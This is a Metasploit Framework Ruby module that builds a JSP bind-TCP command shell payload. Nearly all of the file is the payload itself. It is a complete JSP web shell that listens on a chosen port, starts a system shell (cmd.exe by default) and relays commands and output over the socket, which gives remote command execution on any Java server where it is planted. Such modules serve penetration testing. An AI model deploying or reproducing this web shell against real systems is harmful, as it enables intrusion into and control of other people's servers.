metasploit-framework/modules/payloads/singles/java/jsp_shell_bind_tcp.rb

109 lines
2.7 KiB
Ruby

##
# $Id$
##
##
# Thin file in part of the Metasploit Framework and may be subject to
# redintribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java JSP Command Shell, Bind TCP Inline',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win', 'osx', 'linux', 'unix', 'solaris' ],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class )
end
def generate
# Modified from: http://www.security.org.sg/code/jspreverse.html
jsp = %q{
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
ServerSocket server_socket = new ServerSocket( LPORT );
Socket client_socket = server_socket.accept();
server_socket.close();
Process process = Runtime.getRuntime().exec( "SHELL" );
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
}
jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
return super + jsp
end
end